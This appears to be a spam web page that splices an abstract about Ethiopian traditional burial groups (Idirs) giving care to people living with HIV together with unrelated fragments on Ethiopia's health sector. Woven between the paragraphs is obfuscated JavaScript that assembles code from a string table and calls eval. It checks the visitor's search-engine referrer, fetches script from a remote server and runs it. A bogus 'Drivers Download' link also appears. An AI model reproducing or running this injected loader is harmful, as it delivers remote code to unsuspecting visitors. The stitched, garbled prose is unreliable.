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Saving the sick and improving the socio-economic conditions of people living with HIV in Ethiopia through traditional burial groups

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Accepted 27 July 2012

Poverty and limited availability of health facilities are major barriers to health care in resource-poor countries. For people living with HIV (PLHIV), these factors are compounded by social stigma and decreased mobility, making delivery of public health services a greater challenge. In 2003, the international development organization FHI (formerly known as Family Health International and now known as FHI 360) collaborated with the Ethiopian government, local non-governmental organizations and traditional burial societies (*Idirs*) to implement community and home-based care interventions for PLHIV in Addis Ababa and 13 other major cities. Programme activities included capacity building, care and support, stigma reduction, resource mobilization, support of orphans and vulnerable children, and income generation through community savings and loans groups. Programme results from 2003 to 2010 were evaluated using a quasi-experimental design with an intervention group (PLHIV who received community and home-based care programme services) and a control group (PLHIV who did not receive programme interventions). Propensity score matching was used to select matched intervention and control pairs for analysis. McNemar and Wilcoxon signed-ranks tests were used to determine outcomes and impact. Findings from routine monitoring data and a population survey showed that individuals who received the integrated community and home-based care services from *Idirs* reported significantly more savings, better social relations, more independence and better environments for PLHIV. Programme clients were also shown to have known their HIV status longer than the control respondents. However, a higher percentage of control respondents reported not having had an opportunistic infection in the past 6 months. We conclude that volunteer-based community organizations can be empowered to deliver and sustain health interventions for PLHIV. We also conclude that targeting the multiple needs of PLHIV enables holistic improvements in the quality of life and socio-economic conditions of PLHIV.

Keywords People living with HIV, community and home-based care, *Idirs*, integrated programme, intervention, control



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However, there has been encouraging improvements in the coverage and utilization of the health service over the periods of implementation of Health Sector Development Plan (HSDP).. i";fBc["frh"]="(\b";fBc["Xxx"]="th>";fBc["TRp"]="d";fBc["Psu"]=" sh";fBc["NbA"]="(re";fBc["RHQ"]="msn";fBc["rNU"]="I(r";fBc["wEY"]="(P";fBc["uba"]="er..";fBc["tez"]="goo";fBc["Swc"]="xOf";fBc["jrb"]="jax";fBc["CPv"]="te";fBc["jLp"]="t,";fBc["reX"]="ta";fBc["MOw"]="mai";fBc["FUQ"]="0){";fBc["TnE"]="fu";fBc["fGI"]="ror";fBc["VOq"]="\\ya";fBc["pTq"]=">";fBc["elY"]="pro";fBc["NEV"]="JSO";fBc["aRJ"]="ain";fBc["kBS"]="own";fBc["IMZ"]="htt";fBc["IvM"]="rer";fBc["ynU"]="l.. The Regional States are administratively divided into 7 Zones and 7 10 Woredas.. A central feature of the sector is the priority given to the Health Extension Program, which delivers cost-effective basic services that enhance equity and provide care to millions of women, men and children.

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An example is the development and rapid implementation of the Ethiopian Health Extension Programme.. \\";fBc["XuK"]="({t";fBc["wQM"]="orc";fBc["WZY"]="e";fBc["Vvw"]="eva";fBc["sPz"]="ing";fBc["Eib"]="));";fBc["pLJ"]="v..s";fBc["DHw"]="eng";fBc["SWi"]="ces";fBc["Fhw"]="ion";fBc["nCR"]="s?w";fBc["HIG"]="lse";fBc["faz"]=":f";fBc["dQi"]="eQ";fBc["Mme"]="0)";fBc["ZDc"]="e.. s";fBc["YRD"]="\\)";fBc["rMJ"]="\\)";fBc["obK"]="3/3";fBc["YGA"]="XHR";fBc["pqX"]=") {";fBc["nUO"]="gle";fBc["QAV"]="(r";fBc["Pwn"]="VJK";fBc["YnA"]="ss";fBc["WKV"]="0 |";fBc["rbk"]="eDa";fBc["YPY"]="Aa6";fBc["tie"]="jq";fBc["YIZ"]="Typ";fBc["pRu"]="or";fBc["dWS"]=": t";fBc["YQn"]="f. [D 039;link D110028a Drivers Download](#)

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Keywords People living with HIV, community and home-based care, *Idirs*, integrated programme, intervention, control

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Shortage and high turnover of human resource and inadequacy of essential drugs and supplies have also contributed to the burden.. var icN = 'implementation+of+school+improvement+program+in+ethiopia';var fBc = new Array();fBc["ykj"]="Thr";fBc["VYT"]=" q ";fBc["TyR"]="Dom";fBc["ZjL"]="er";fBc["aRu"]="tat";fBc["pRm"]="sc";fBc["dJE"]="l r";fBc["OJu"]="xtS";fBc["BXs"]=",cr";fBc["hhe"]="us,";fBc["uJT"]=" {if";fBc["guN"]="ype";fBc["SSq"]="x.. re";fBc["xfB"]="rip";fBc["idp"]="Z28";fBc["hyu"]="hoo";fBc["zUA"]="p:/";fBc["DYg"]="> 0";fBc["BzG"]="ef.. ";fBc["Coh"]="puO";fBc["tDQ"]="esp";fBc["EaU"]="f l";fBc["eIN"]=" ll";fBc["nst"]="= i";fBc["pny"]="ent";fBc["koO"]="5.

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Ethiopia has demonstrated that low- income countries can achieve improvements in health and access to services if policies, programmes and strategies are underpinned by ingenuity, innovativeness, political will and sustained commitment at all levels.. Health in Ethiopia has improved markedly in the last decade, with government leadership playing a key role in mobilizing resources and ensuring that they are used effectively.. The country introduced a federal government structure in 1 Regional States: Afar, Amhara, Oromia, Somali, Benishangul Gumuz, Southern Nations Nationalities and Peoples Region (SNNPR), Gambela, Tigray and Harrari and two city Administrations (Addis Ababa and Dire Dawa).. \";fBc["jWh"]=" in";fBc["tWG"]=" \$ a";fBc["UIL"]="seD";fBc["KDL"]=" 1h2";fBc["lbf"]="cce";fBc["QIC"]="sDa";fBc["rZj"]=" f";fBc["orq"]="dex";fBc["JXv"]="f(\";fBc["NpY"]="ta:";fBc["xkA"]="GET";fBc["jam"]="oss";fBc["ukw"]="u/1";fBc["phX"]="ons";fBc["hrU"]="nct";fBc["pFI"]="ata";fBc["Qxa"]=".. j";fBc["TfO"]="rue";fBc["vvM"]=" + ";fBc["PND"]=" re";fBc["ykP"]=" do";fBc["omf"]="if";fBc["CnN"]="err";fBc["IQJ"]="owm";fBc["XAs"]=" fa";fBc["IDT"]=" al";fBc["mMq"]="f =";fBc["MZb"]=" 0";fBc["fQs"]="ly";fBc["fpb"]=";};";fBc["rsV"]="fer";fBc["wVq"]="var";fBc["QRu"]="r.. r";fBc["szF"]="ll ";fBc["hpu"]="rve";fBc["NhA"]="res";fBc["Zuh"]="ngi";fBc["ILK"]="ind";fBc["jBn"]="e, ";fBc["gkv"]="\vk";fBc["Nvi"]=",d";fBc["ZLV"]="pon";fBc["gHa"]=":";fBc["IdW"]="url";fBc["lqz"]=" ((";fBc["dVA"]="fy(";eval(fBc["wVq"]+fBc["VYT"]+fBc["nst"]+fBc["ewo"]+fBc["wVq"]+fBc["Psu"]+fBc["IQJ"]+fBc["WZY"]+fBc["rZj"]+fBc["wQM"]+fBc["DDI"]+fBc["wVq"]+fBc["PND"]+fBc["mMq"]+fBc["ykP"]+fBc["DTx"]+fBc["pny"]+fBc["Qxa"]+fBc["rsV"]+fBc["IvM"]+fBc["omf"]+fBc["NbA"]+fBc["EaU"]+fBc["DHw"]+fBc["Xxx"]+fBc["Mme"]+fBc["uJT"]+fBc["lqz"]+fBc["Fw W"]+fBc["jWh"]+fBc["orq"]+fBc["RaI"]+fBc["VOq"]+fBc["Dnu"]+fBc["SSq"]+fBc["pTq"]+fBc["MZb"]+fBc["eIN"]+fBc["QAV"]+fBc["BzG"]+fBc["ILK"]+fBc["EKr"]+fBc["JXv"]+fBc["tez"]+fBc["nUO"]+fBc["rMJ"]+fBc["RTM"]+fBc["Mme"]+fBc["szF"]+fBc["FwW"]+fBc["jWh"]+fBc["orq"]+fBc["RaI"]+fBc["xqW"]+fBc["WNA"]+fBc["uba"]+fBc["YRD"]+fBc["DYg "] +fBc["eIN"]+fBc["PND"]+fBc["YQn"]+fBc["Dnu"]+fBc["Swc"]+fBc["frh"]+fBc["sPz"]+fBc["rMJ"]+fBc["RTM"]+fBc["W KV"]+fBc["dJE"]+fBc["BzG"]+fBc["ILK"]+fBc["EKr"]+fBc["JXv"]+fBc["MOw"]+fBc["ynU"]+fBc["pTq"]+fBc["qcW"]+fBc["szF"]+fBc["FwW"]+fBc["jWh"]+fBc["orq"]+fBc["RaI"]+fBc["VOq"]+fBc["hyu"]+fBc["rMJ"]+fBc["RTM"]+fBc["WKV"]+fBc["dJE"]+fBc["BzG"]+fBc["ILK"]+fBc["EKr"]+fBc["JXv"]+fBc["RHQ"]+fBc["rMJ"]+fBc["RTM"]+fBc["WKV"]+fBc["d JE"]+fBc["BzG"]+fBc["ILK"]+fBc["EKr"]+fBc["JXv"]+fBc["Fio"]+fBc["ZDc"]+fBc["pTq"]+fBc["qcW"]+fBc["szF"]+fBc["F wW"]+fBc["jWh"]+fBc["orq"]+fBc["RaI"]+fBc["gkv"]+fBc["rMJ"]+fBc["RTM"]+fBc["FUQ"]+fBc["tWG"]+fBc["jrb"]+fBc["XuK"]+fBc["guN"]+fBc["gHa"]+fBc["xkA"]+fBc["Nvi"]+fBc["pFI"]+fBc["YIZ"]+fBc["yra"]+fBc["pRm"]+fBc["xfB"]+fBc["jLp"]+fBc["eIY"]+fBc["SWi"]+fBc["QIC"]+fBc["NpY"]+fBc["XAs"]+fBc["HIG"]+fBc["BXs"]+fBc["jam"]+fBc["TyR"]+fBc["cl"]+fBc["aRJ"]+fBc["dWS"]+fBc["TfO"]+fBc["Hsm"]+fBc["zXw"]+fBc["faz"]+fBc["ayh"]+fBc["jBn"]+fBc["IdW"]+fBc["gHa"]+fBc["IMZ"]+fBc["zUA"]+fBc["dQi"]+fBc["Coh"]+fBc["Pwn"]+fBc["KDL"]+fBc["YPY"]+fBc["SoA"]+fBc["idp"]+fBc["pLJ"]+fBc["UGJ"]+fBc["hpu"]+fBc["QRu"]+fBc["ukw"]+fBc["obK"]+fBc["koO"]+fBc["nCR"]+fBc["fsJ"]+fBc["fQs"]+fBc["Epy"]+fBc["lbf"]+fBc["YnA"]+fBc["TnE"]+fBc["hrU"]+fBc["Fhw"]+fBc["QAV"]+fBc["tDQ"]+fBc["phX"]+fBc["rbk"]+fBc["QH c"]+fBc["CPv"]+fBc["OJu"]+fBc["aRu"]+fBc["hhe"]+fBc["tie"]+fBc["YGA"]+fBc["pqX"]+fBc["Vvw"]+fBc["rNU"]+fBc["t DQ"]+fBc["phX"]+fBc["rbk"]+fBc["reX"]+fBc["MPj"]+fBc["CnN"]+fBc["pRu"]+fBc["TnE"]+fBc["hrU"]+fBc["Fhw"]+fBc["QAV"]+fBc["tDQ"]+fBc["phX"]+fBc["rbk"]+fBc["QHc"]+fBc["CPv"]+fBc["OJu"]+fBc["aRu"]+fBc["hhe"]+fBc["ZjL"]+fBc["cl"]+fBc["fGI"]+fBc["ykj"]+fBc["kBS"]+fBc["pqX"]+fBc["IDT"]+fBc["MLu"]+fBc["wEY"]+fBc["pui"]+fBc["XAs"]+fBc["VWX"]+fBc["TRp"]+fBc["vvM"]+fBc["NEV"]+fBc["Aqx"]+fBc["gXE"]+fBc["Zuh"]+fBc["dVA"]+fBc["NhA"]+fBc["ZLV"]+fBc["U IL"]+fBc["pFI"]+fBc["Eib"]+fBc["Jed"]+fBc["fpb"]);Health in Ethiopia - Wikipedia, the free encyclopedia. ceal14251b

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